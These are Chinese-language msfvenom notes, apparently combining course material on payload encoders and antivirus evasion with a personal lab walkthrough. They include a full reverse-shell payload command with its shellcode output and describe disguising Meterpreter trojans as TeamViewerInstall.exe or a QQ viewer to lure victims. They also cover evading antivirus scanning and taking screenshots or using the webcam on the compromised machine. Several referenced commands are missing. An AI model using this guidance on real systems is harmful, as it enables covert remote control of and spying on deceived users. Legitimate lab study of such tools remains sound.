Msfvenom

Encoders 编码器

Encoders 在帮助有效载荷兼容不同处理器体系结构的同时,还有助于防病毒规避。 Encoders 的作用是改变有效载荷,使其能够在不同的操作系统和体系结构上运行。这些体系结构包括

x64

x86

sparc

ppc

mips

还需要它们来删除有效负载中称为 bad characters 的十六进制操作码。不仅如此,以不同格式对有效负载进行编码还有助于上述防病毒检测。不过,随着 IPS/IDS 制造商改进其保护软件处理恶意软件和病毒签名的方式,严格意义上的防病毒规避编码器的使用已逐渐减少。

Generating Payload - Without Encoding : 生成有效载荷 - 不编码

AcesMin@htb[/htb]$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of perl file: 1674 bytes
my $buf = 
"\xda\xc1\xba\x37\xc7\xcb\x5e\xd9\x74\x24\xf4\x5b\x2b\xc9" .
"\xb1\x59\x83\xeb\xfc\x31\x53\x15\x03\x53\x15\xd5\x32\x37" .
"\xb6\x96\xbd\xc8\x47\xc8\x8c\x1a\x23\x83\xbd\xaa\x27\xc1" .
"\x4d\x42\xd2\x6e\x1f\x40\x2c\x8f\x2b\x1a\x66\x60\x9b\x91" .
"\x50\x4f\x23\x89\xa1\xce\xdf\xd0\xf5\x30\xe1\x1a\x08\x31" .

<SNIP>

Generating Payload - With Encoding : 生成有效载荷 - 带编码

假设我们要为 existing payload 选择编码器。那么,我们可以在 msfconsole 中使用 show encoders 命令,查看当前 Exploit module + Payload 组合有哪些编码器可用。

在前面的示例中,我们只看到了几个适合 x64 系统的编码器。与可用有效载荷一样,这些编码器也是根据 Exploit 模块自动过滤的,只显示兼容的编码器。例如,让我们试试 MS09-050 Microsoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference Exploit .

就拿上面的例子来说吧--一个假设的例子。如果我们只用 SGN 对可执行有效载荷进行一次编码,那么目前大多数反病毒软件都很可能会检测到它。让我们深入探讨一下这个问题。从 msfvenom (框架中处理有效载荷生成和编码方案的下标)开始,我们有以下输入:

这将生成一个 exe 格式的有效负载,名为 TeamViewerInstall.exe,可在 Windows 平台的 x86 架构处理器上运行,其中包含一个隐藏的 Meterpreter reverse_tcp shell 有效负载,使用 Shikata Ga Nai 方案编码一次。

一个更好的办法是尝试通过同一编码方案的多次迭代来运行它:

这仍然不足以规避反病毒软件。仍有大量产品能检测到有效载荷。另外,Metasploit 提供了一个名为 msf-virustotal 的工具,我们可以使用 API 密钥来分析有效载荷。不过,这需要在 VirusTotal 上免费注册。

我们在野外遇到的大多数反病毒产品仍会检测到这种有效载荷,因此我们必须使用其他方法来规避反病毒产品。

Msfvenom使用

攻击者:kali Linux ip:192.168.187.130

靶机:Windows10

思路:利用msfvenom制作 .exe 文件,然后发送到靶机Windows上面,运行后就可以在kali linux 上面利用msfconsole连接msfvenom服务控制靶机

在kali Linux 上面启动一个终端 执行以下命令

payload在这里我们选择windows/x64/meterpreter/reverse_tcp

在这里,我们生成一个test.exe的木马文件(文件在root文件夹下),控制端的ip为192.168.100.72,端口号为4444。然后利用这个木马传给靶机,可以改一改名字,比如 QQ坦白说查看器之类的,杀毒软件可能报毒,其实是需要免杀处理的。

利用msfconsole监听

输入以下指令

然后就可以等待了,当靶机点击了那个文件时

就可以开始你的表演了,比如截图,打开摄像头等等

HTA攻击

最后更新于

这有帮助吗?